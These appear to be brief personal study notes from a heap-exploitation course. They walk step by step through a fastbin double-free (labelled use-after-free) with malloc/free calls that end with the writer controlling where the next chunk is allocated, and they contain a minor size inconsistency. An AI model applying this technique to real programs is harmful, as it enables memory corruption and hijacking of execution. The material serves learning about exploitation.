Fastbin with Use-After-Free
1.- Request two 0x50 size chunk
chunk_A = malloc(24, b"A"*24)
chunk_B = malloc(24, b"B"*24)
2.- Free chunk A
free(chunk_A)
3.- Free chunk B
free(chunk_B)
4.- Free chunk A
free(chunk_A)
5.- malloc(24,b’C’*24)
malloc(24,b'C'*24)
6.- There are the CCCCCCC… where before was the 7020 pointer :O, so where will do now the Ds malloc?
malloc(24,b'D'*24)
7.- Yes, in the next chunk linked in the 0x20 fastbin list…
So now we will send some EEEE’s
malloc(24,b'E'*24)
And now we can note that we controll where the next 0x20 fastbin will be allocated.
References
Max Kamper, Linux Heap Exploitation - Part 1, Udemy 3(9-11)